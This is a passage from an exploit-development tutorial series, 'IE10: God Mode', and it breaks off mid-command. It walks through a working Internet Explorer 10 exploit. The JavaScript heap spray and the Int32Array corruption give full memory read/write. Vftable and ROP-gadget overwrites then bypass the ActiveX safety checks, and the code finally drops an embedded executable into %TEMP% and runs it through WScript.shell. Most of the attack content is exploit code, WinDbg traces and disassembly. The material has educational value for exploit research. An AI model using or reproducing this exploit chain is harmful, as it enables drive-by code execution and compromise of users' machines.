      
      // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    shell = new ActiveXObject("WScript.shell");
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    write(mshtml+0xc555e0+0x14, old);      // God mode off!
    
    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

I snipped the value of runcalc because it was too long. You can download the full code from here: code1.

Use SimpleServer to serve this code. Go to 127.0.0.1 in IE and when the dialog box pops up do what it says in WinDbg. Unfortunately, IE crashes here:

6ef82798 90              nop
IEFRAME!CDocObjectHost::_ScriptErr_Dlg:
6ef82799 8bff            mov     edi,edi
6ef8279b 55              push    ebp
6ef8279c 8bec            mov     ebp,esp
6ef8279e b870100000      mov     eax,1070h
6ef827a3 e86ee8f0ff      call    IEFRAME!_alloca_probe (6ee91016)
6ef827a8 a1b874376f      mov     eax,dword ptr [IEFRAME!__security_cookie (6f3774b8)]
6ef827ad 33c5            xor     eax,ebp
6ef827af 8945fc          mov     dword ptr [ebp-4],eax
6ef827b2 53              push    ebx
6ef827b3 33db            xor     ebx,ebx
6ef827b5 57              push    edi
6ef827b6 8bf9            mov     edi,ecx
6ef827b8 399e78050000    cmp     dword ptr [esi+578h],ebx ds:002b:00000578=????????   <--------------------
6ef827be 0f84b8890c00    je      IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x3d (6f04b17c)
6ef827c4 e99d890c00      jmp     IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x27 (6f04b166)
6ef827c9 90              nop
6ef827ca 90              nop
6ef827cb 90              nop
6ef827cc 90              nop
6ef827cd 90              nop
IEFRAME!CDocObjectHost::_ScriptErr_CacheInfo:
6ef827ce 8bff            mov     edi,edi
6ef827d0 55              push    ebp
6ef827d1 8bec            mov     ebp,esp
6ef827d3 81eca8000000    sub     esp,0A8h
6ef827d9 a1b874376f      mov     eax,dword ptr [IEFRAME!__security_cookie (6f3774b8)]
6ef827de 33c5            xor     eax,ebp

This might be a problem with our God Mode. Let’s find out by modifying our javascript code as follows:

var old = read(mshtml+0xc555e0+0x14);
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    alert("bp on " + (mshtml+0xc555e0+0x14).toString(16));

We just add an alert right after the activation of the God Mode. Restart IE and WinDbg and repeat the whole process.

I must admit that I get the Error message box a lot. Let’s change some values and see if things get better. Here are the changes:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {           // <------------ from 0x200 to 0x300
      a[i] = new Array(0x3c00);
      if (i == 0x100)                       // <------------ from 0x80 to 0x100
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {        // <------------ from 0x200 to 0x300
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {       // <------------ from 0x200 to 0x300
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }

Ah, much better! Now it’s way more stable, at least on my system.

Finally, the dialog box with the address of the modified entry in the vftable pops up. In my case, it says bp on 6d0f55f4. Let’s put a breakpoint on access:

ba r4 mshtml+0xc555e0+0x14

After we hit F5 and we close the dialog, the execution stops here:

0555c15a 5f              pop     edi
0555c15b 5e              pop     esi
0555c15c 33cd            xor     ecx,ebp
0555c15e 5b              pop     ebx
0555c15f e8da51f2ff      call    jscript9!__security_check_cookie (0548133e)
0555c164 c9              leave         <-------------------- we are here
0555c165 c20400          ret     4

Here’s the stack trace:

0:007> k 5
ChildEBP RetAddr  
03e0bbb4 0555bfae jscript9!ScriptEngine::CanObjectRun+0xaf
03e0bc00 0555bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf
03e0bc44 0555bd69 jscript9!ScriptSite::CreateActiveXObject+0x56
03e0bc78 054c25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90
03e0bcd0 054ccd4a jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6

OK, we’re inside CreateActiveXObject so everything is proceeding as it should. Let’s hit F5 again. Now the execution stops on the same instruction but the stack trace is different:

0:007> k 10
ChildEBP RetAddr  
03e0a4dc 6eeb37aa jscript9!ScriptEngine::CanObjectRun+0xaf
03e0b778 6eedac3e IEFRAME!CDocObjectHost::OnExec+0xf9d
03e0b7a8 6c9d7e9a IEFRAME!CDocObjectHost::Exec+0x23d
03e0b810 6c9d7cc7 MSHTML!CWindow::ShowErrorDialog+0x95
03e0b954 6c9d7b68 MSHTML!COmWindowProxy::Fire_onerror+0xc6
03e0bbc0 6c9d7979 MSHTML!CMarkup::ReportScriptError+0x179
03e0bc40 0555dbe4 MSHTML!CActiveScriptHolder::OnScriptError+0x14e
03e0bc50 0555e516 jscript9!ScriptEngine::OnScriptError+0x17
03e0bc6c 0555e4b6 jscript9!ScriptSite::ReportError+0x56
03e0bc78 0555e460 jscript9!ScriptSite::HandleJavascriptException+0x1b
03e0c3d8 05492027 jscript9!ScriptSite::CallRootFunction+0x6d
03e0c400 0553df75 jscript9!ScriptSite::Execute+0x61
03e0c48c 0553db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
03e0c514 0553e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
03e0c568 6c74b60c jscript9!ScriptEngine::ParseScriptText+0x5b
03e0c5a0 6c74945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42

After a little bit of stepping IE crashes as before. It seems we have a problem with our God Mode. Probably, our problem is that we modified the vftable itself which is used by all the objects of the same type. We should create a modified copy of the original vftable and make the object we’re interested in point to it.

Prev Part | Next Part

The post IE10: God Mode (1) appeared first on Exploit Development Community.

IE10: God Mode (2)

Fixing the God Mode

Before doing something radical, let’s try to find out where the crash is. To do this, let’s add a few alerts:

function createExe(fname, data) {
      alert("3");           // <------------------------------------------
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      alert("4");           // <------------------------------------------
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
      // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    alert("1");         // <------------------------------------------
    shell = new ActiveXObject("WScript.shell");
    alert("2");         // <------------------------------------------
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);

    write(mshtml+0xc555e0+0x14, old);      // God mode off!

    alert("All done!");

Now reload the page in IE (by going to 127.0.0.1), change the length of the Int32Array at 0xc0af000 and see what happens. You should see all the three alert box from 1 to 3 and then the crash. Therefore, we can conclude that the crash happens when we execute the following instructions:

var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");

Why isn’t there any problem with WScript.shell?

A difference should come to mind: ADODB.Stream was disabled by Microsoft! Maybe something happens in jscript9!ScriptSite::CreateObjectFromProgID… Let’s see.

Repeat the process and this time, when the alert box with 3 appears, put a breakpoint on jscript9!ScriptSite::CreateObjectFromProgID. Let’s do some stepping inside CreateObjectFromProgID:

jscript9!ScriptSite::CreateObjectFromProgID:
04f3becb 8bff            mov     edi,edi
04f3becd 55              push    ebp
04f3bece 8bec            mov     ebp,esp
04f3bed0 83ec34          sub     esp,34h
04f3bed3 a144630f05      mov     eax,dword ptr [jscript9!__security_cookie (050f6344)]
04f3bed8 33c5            xor     eax,ebp
04f3beda 8945fc          mov     dword ptr [ebp-4],eax
04f3bedd 53              push    ebx
04f3bede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
04f3bee1 56              push    esi
04f3bee2 33c0            xor     eax,eax
04f3bee4 57              push    edi
04f3bee5 8b7d08          mov     edi,dword ptr [ebp+8]
04f3bee8 8bf2            mov     esi,edx
04f3beea 8975dc          mov     dword ptr [ebp-24h],esi
04f3beed 8945cc          mov     dword ptr [ebp-34h],eax
04f3bef0 897dd0          mov     dword ptr [ebp-30h],edi
04f3bef3 8945d4          mov     dword ptr [ebp-2Ch],eax
04f3bef6 8945d8          mov     dword ptr [ebp-28h],eax
04f3bef9 8945e8          mov     dword ptr [ebp-18h],eax
04f3befc 85ff            test    edi,edi
04f3befe 0f85e26a1600    jne     jscript9!memset+0xf390 (050a29e6)
04f3bf04 8b4604          mov     eax,dword ptr [esi+4]
04f3bf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04f3bfe1)
04f3bf0c 85c0            test    eax,eax
04f3bf0e 8d45ec          lea     eax,[ebp-14h]
04f3bf11 50              push    eax
04f3bf12 51              push    ecx
04f3bf13 0f84d86a1600    je      jscript9!memset+0xf39b (050a29f1)
04f3bf19 ff1508400e05    call    dword ptr [jscript9!_imp__CLSIDFromProgID (050e4008)]
04f3bf1f 85c0            test    eax,eax
04f3bf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)
04f3bf27 8d45ec          lea     eax,[ebp-14h]
04f3bf2a 50              push    eax
04f3bf2b 8b4604          mov     eax,dword ptr [esi+4] ds:002b:02facc44=02f8c480
04f3bf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04f3c315)   <------------------
04f3bf33 85c0            test    eax,eax       <------------------ EAX = 0
04f3bf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)  <----- je taken!
.
.
.
04f0270f bead010a80      mov     esi,800A01ADh
04f02714 e99d980300      jmp     jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04f3bfb6)
.
.
.
04f3bfb6 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:03feb55c=91c70f95
04f3bfb9 5f              pop     edi
04f3bfba 8bc6            mov     eax,esi
04f3bfbc 5e              pop     esi
04f3bfbd 33cd            xor     ecx,ebp
04f3bfbf 5b              pop     ebx
04f3bfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e6133e)
04f3bfc5 c9              leave
04f3bfc6 c20800          ret     8

As we can see, CanCreateObject returns 0 and our familiar CanObjectRun is not even called. What happens if we force CanCreateObject to return true (EAX = 1)? Try to repeat the whole process, but this time, right after the call to CanCreateObject, set EAX to 1 (use r eax=1). Remember that you need to do that twice because we create two ADODB.Stream objects.

Now the alert box with 4 appears but we have a crash after we close it. Why don’t we try to keep the God Mode enabled only when strictly necessary? Let’s change the code as follows:

var old = read(mshtml+0xc555e0+0x14);

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AA <snipped> AAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      write(mshtml+0xc555e0+0x14, old);                   // God mode off!
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
      // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God mode off!
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);

    alert("All done!");

Let’s try again to load the page and set EAX to 1 right after CanCreateObject. This time, let’s put the breakpoint directly on CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

When the breakpoint is triggered, hit Shift+F11 and then set EAX to 1 (the first time it’s already 1). OK, now there is no crash but the calculator doesn’t appear. If you repeat the process with the Developer Tools enabled, you should see the following error:

Image may be NSFW.
Clik here to view.
pic_37

Let’s leave that error for later. For now we should be happy that we (almost) solved the problem with the God Mode. We still need to modify the behavior of CanCreateObject somehow so that it always returns true. Again, repeat the whole process and put a breakpoint on CanCreateObject. When the breakpoint is triggered, we can begin to examine CanCreateObject:

jscript9!ScriptEngine::CanCreateObject:
04dcc315 8bff            mov     edi,edi
04dcc317 55              push    ebp
04dcc318 8bec            mov     ebp,esp
04dcc31a 51              push    ecx
04dcc31b 51              push    ecx
04dcc31c 57              push    edi
04dcc31d 8bf8            mov     edi,eax
04dcc31f f687e401000008  test    byte ptr [edi+1E4h],8
04dcc326 743d            je      jscript9!ScriptEngine::CanCreateObject+0x50 (04dcc365)
04dcc328 8d45fc          lea     eax,[ebp-4]
04dcc32b 50              push    eax
04dcc32c e842000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04dcc373)
04dcc331 85c0            test    eax,eax
04dcc333 7835            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a) [br=0]
04dcc335 8b45fc          mov     eax,dword ptr [ebp-4]
04dcc338 8b08            mov     ecx,dword ptr [eax]        <------------------ ecx = object.vftptr
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx                                            +---------------------
04dcc349 6800120000      push    1200h                                          |
04dcc34e 50              push    eax                                            v
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave
04dcc362 c20400          ret     4

Look at the virtual call at 04dcc34f: we can use the same trick we used with CanObjectRun! As before, ECX points to a vftable:

0:007> dds ecx
6ac755e0  6a0b2681 MSHTML!PlainQueryInterface
6ac755e4  6a0b25a1 MSHTML!CAPProcessor::AddRef
6ac755e8  6a08609d MSHTML!PlainRelease
6ac755ec  6a078eb5 MSHTML!TearoffThunk3
6ac755f0  6a25604a MSHTML!TearoffThunk4           <----------- we need to modify this for CanCreateObject
6ac755f4  04dcc164 jscript9!ScriptEngine::CanObjectRun+0xaf   <---------- this is our fix for CanObjectRun!
6ac755f8  6a129a77 MSHTML!TearoffThunk6
6ac755fc  6a201a73 MSHTML!TearoffThunk7
6ac75600  6a12770c MSHTML!TearoffThunk8
6ac75604  6a12b22c MSHTML!TearoffThunk9
6ac75608  6a12b1e3 MSHTML!TearoffThunk10
6ac7560c  6a257db5 MSHTML!TearoffThunk11
6ac75610  6a12b2b8 MSHTML!TearoffThunk12
6ac75614  6a332a3d MSHTML!TearoffThunk13
6ac75618  6a242719 MSHTML!TearoffThunk14
6ac7561c  6a254879 MSHTML!TearoffThunk15
6ac75620  6a12b637 MSHTML!TearoffThunk16
6ac75624  6a131bf3 MSHTML!TearoffThunk17
6ac75628  6a129649 MSHTML!TearoffThunk18
6ac7562c  6a4a8422 MSHTML!TearoffThunk19
6ac75630  6a58bc4a MSHTML!TearoffThunk20
6ac75634  6a1316d9 MSHTML!TearoffThunk21
6ac75638  6a2e7b23 MSHTML!TearoffThunk22
6ac7563c  6a212734 MSHTML!TearoffThunk23
6ac75640  6a2e75ed MSHTML!TearoffThunk24
6ac75644  6a4c28c5 MSHTML!TearoffThunk25
6ac75648  6a3c5a7d MSHTML!TearoffThunk26
6ac7564c  6a3a6310 MSHTML!TearoffThunk27
6ac75650  6a3bff2d MSHTML!TearoffThunk28
6ac75654  6a3aa803 MSHTML!TearoffThunk29
6ac75658  6a3cd81a MSHTML!TearoffThunk30
6ac7565c  6a223f19 MSHTML!TearoffThunk31

As you can see, that’s the same vftable we modified for CanObjectRun. Now we need to modify [ecx+10h] for CanCreateObject. We might try to overwrite [ecx+10h] with the address of the epilog of CanCreateObject, but it won’t work. The problem is that we need to zero out EDI before returning from CanCreateObject. Here’s the code right after the call to CanCreateObject:

04ebbf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04ebc315)
04ebbf33 85c0            test    eax,eax
04ebbf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)
04ebbf3b 6a05            push    5
04ebbf3d 58              pop     eax
04ebbf3e 85ff            test    edi,edi
04ebbf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050229fc)      <----------------- taken if EDI != 0

If the jne is taken, CreateObjectFromProgID and CreateActiveXObject will fail.

I looked for hours but I couldn’t find any suitable code to call. Something like

xor   edi, edi
leave
ret   4

would be perfect, but it just doesn’t exist. I looked for any variations I could think of, but to no avail. I also looked for

mov   dword ptr [edx], 0
ret   20h

and variations. This code would mimic a call to the original virtual function and clear [ebp-8]. This way, CanCreateObject would return true:

04dcc338 8b08            mov     ecx,dword ptr [eax]
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]      <---------- edx = ebp-8
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh      <-------- if [ebp-8] == 0, then ...
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al                 <-------- ... then EAX = 1
04dcc360 5f              pop     edi                <-------- restores EDI (it was 0)
04dcc361 c9              leave
04dcc362 c20400          ret     4

Note that this would also clear EDI, because EDI was 0 when CanCreateObject was called.

Next, I tried to do some ROP. I looked for something like this:

xchg  ecx, esp
ret

Unfortunately, I couldn’t find anything similar. If only we could control some other register beside ECX

Well, it turns out that we can control EAX and xchg eax, esp gadgets are certainly more common than xchg ecx, esp gadgets.

Here’s the schema we’re going to use:

Image may be NSFW.
Clik here to view.
pic_38b

We already know that CanCreateObject and CanObjectRun call virtual functions from the same VFTable. You can easily verify that not only do they call virtual functions from the same VFTable, but they call them on the same object. This is also shown in the scheme above.

Let’s look again at the relevant code in CanCreateObject:

04dcc338 8b08            mov     ecx,dword ptr [eax]  <----------- we control EAX, which points to "object"
04dcc33a 6a00            push    0            <----------- now, ECX = object."vftable ptr"
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  <----------- call to gadget 1 (in the picture)
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave        <----------- this is gadget 4
04dcc362 c20400          ret     4

The first gadget, when called, make ESP point to object+4 and returns to gadget 2. After gadget 2 and 3, EDI is 0 and EAX non-zero. Gadget 4 restores ESP and returns from CanCreateObject.

Here’s the javascript code to set up object and vftable like in the picture above:

//                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+

    // If we do "write(pp_obj, X)", we'll have EAX = X in CanCreateObject
    var pp_obj = ... ptr to ptr to object ...
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }

The code should be easy to understand. We create object (new_object) and vftable (new_vftable) by using two Int32Arrays (in particular, their raw buffers) and make object point to vftable. Note that our vftable is a modified copy of the old vftable. Maybe there’s no need to make a copy of the old vftable because only the two modified fields (at offsets 0x10 and 0x14) are used, but that doesn’t hurt.

We can now enable the God Mode by making EAX point to our object and disable the God Mode by making EAX point to the original object.

Controlling EAX

To see if we can control EAX, we need to find out where the value of EAX comes from. I claimed that EAX can be controlled and showed how we can exploit this to do some ROP. Now it’s time for me to show you exactly how EAX can be controlled. In reality, this should be the first thing you do. First you determine if you can control something and only then write code for it.

It’s certainly possible to do the kind of analysis required for this task in WinDbg, but IDA Pro is way better for this. If you don’t own a copy of IDA Pro, download the free version (link).

IDA is a very smart disassembler. Its main feature is that it’s interactive, that is, once IDA has finished disassembling the code, you can edit and manipulate the result. For instance, you can correct mistakes made by IDA, add comments, define structures, change names, etc…

If you want a career in Malware Analysis or Exploit Development, you should get really comfortable with IDA and buy the Pro version.

CanCreateObject is in jscript9. Let’s find out the path of this module in WinDbg:

0:015> lmf m jscript9
start    end        module name
71c00000 71ec6000   jscript9 C:\Windows\SysWOW64\jscript9.dll

Open jscript9.dll in IDA and, if needed, specify the path for the database created by IDA. When asked, allow IDA to download symbols for jscript9.dll. Press CTRL+P (Jump to function), click on Search and enter CanCreateObject. Now CanCreateObject should be selected like shown in the following picture:

Image may be NSFW.
Clik here to view.
pic_39

After you double click on CanCreateObject you should see the graph of the function CanCreateObject. If you see linear code, hit the spacebar. To rename a symbol, click on it and press n. IDA has a very useful feature: when some text is selected, all occurrences of that text are highlighted. This is useful to track things down.

Have a look at the following picture:

Image may be NSFW.
Clik here to view.
pic_40

It’s quite clear that [ebp+object] (note that I renamed var_4 to object) is modified inside ?GetSiteHostSecurityManagerNoRef. Let’s have a look at that function:

Image may be NSFW.
Clik here to view.
pic_41

As we can see, our variable object is overwritten with [edi+1F0h]. We also see that if [edi+1F0h] is 0, it’s initialized. We need to keep this fact in mind for later. Now that we know that we need to track edi, let’s look again at CanCreateObject:

Image may be NSFW.
Clik here to view.
pic_42

To see what code calls CanCreateObject, click somewhere where indicated in the picture above and press CTRL+X. Then select the only function shown. We’re now in CreateObjectFromProgID:

Image may be NSFW.
Clik here to view.
pic_43

This is what we’ve learned so far:

esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we need to go to the caller of CreateObjectFromProgID and follow EDX. To do that, click somewhere on the signature of CreateObjectFromProgID and press CTRL+X. You should see two options: of course, select CreateActiveXObject. Now we’re inside CreateActiveXObject:

Image may be NSFW.
Clik here to view.
pic_44

Let’s update our little schema:

esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we need to follow the first argument passed to CreateActiveXObject. As before, let’s go to the code which calls CreateActiveXObject. Look at the following picture (note that I grouped some nodes together to make the graph more compact):

Image may be NSFW.
Clik here to view.
pic_45

After this, the complete schema is the following:

eax = arg_0
eax = [eax+28h]
edx = eax
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we must follow the first argument passed to JavascriptActiveXObject::NewInstance. When we click on its signature and press CTRL+X we’re shown references which doesn’t look familiar. It’s time to go back in WinDbg.

Open in IE a page with this code:

<html>
<head>
<script language="javascript">
  alert("Start");
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>

Put a breakpoint on CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

When the breakpoint is triggered, let’s step out of the current function by pressing Shift+F11, until we are in jscript9!Js::InterpreterStackFrame::NewScObject_Helper. You’ll see the following:

045725c4 890c82          mov     dword ptr [edx+eax*4],ecx
045725c7 40              inc     eax
045725c8 3bc6            cmp     eax,esi
045725ca 72f5            jb      jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (045725c1)
045725cc ff75ec          push    dword ptr [ebp-14h]
045725cf ff75e8          push    dword ptr [ebp-18h]
045725d2 ff55e4          call    dword ptr [ebp-1Ch]
045725d5 8b65e0          mov     esp,dword ptr [ebp-20h] ss:002b:03a1bc00=03a1bbe4   <--------- we're here!
045725d8 8945d8          mov     dword ptr [ebp-28h],eax
045725db 8b4304          mov     eax,dword ptr [ebx+4]
045725de 83380d          cmp     dword ptr [eax],0Dh

We can see why IDA wasn’t able to track this call: it’s a dynamic call, meaning that the destination of the call is not static. Let’s examine the first argument:

0:007> dd poi(ebp-18)
032e1150  045e2b70 03359ac0 03355520 00000003
032e1160  00000000 ffffffff 047c4de4 047c5100
032e1170  00000037 00000000 02cc4538 00000000
032e1180  0453babc 00000000 00000001 00000000
032e1190  00000000 032f5410 00000004 00000000
032e11a0  00000000 00000000 00000000 00000000
032e11b0  04533600 033598c0 033554e0 00000003
032e11c0  00000000 ffffffff 047c4de4 047c5660

The first value might be a pointer to a vftable. Let’s see:

0:007> ln 045e2b70
(045e2b70)   jscript9!JavascriptActiveXFunction::`vftable'   |  (04534218)   jscript9!Js::JavascriptSafeArrayObject::`vftable'
Exact matches:
    jscript9!JavascriptActiveXFunction::`vftable' = <no type information>

And indeed, we’re right! More important, JavascriptActiveXFunction is the function ActiveXObject we use to create ActiveX objects! That’s our starting point. So the complete schema is the following:

X = address of ActiveXObject
X = [X+28h]
X = [X+4]
object = [X+1f0h]

Let’s verify that our findings are correct. To do so, use the following javascript code:

<html>
<head>
<script language="javascript">
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000; ++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Open it in IE and in WinDbg examine the memory at the address 0xadd0000 (or higher, if you want). The memory should be filled with the address of ActiveXObject. In my case, the address is 03411150. Now let’s reach the address of object:

0:002> ? poi(03411150+28)
Evaluate expression: 51132616 = 030c38c8
0:002> ? poi(030c38c8+4)
Evaluate expression: 51075360 = 030b5920
0:002> ? poi(030b5920+1f0)
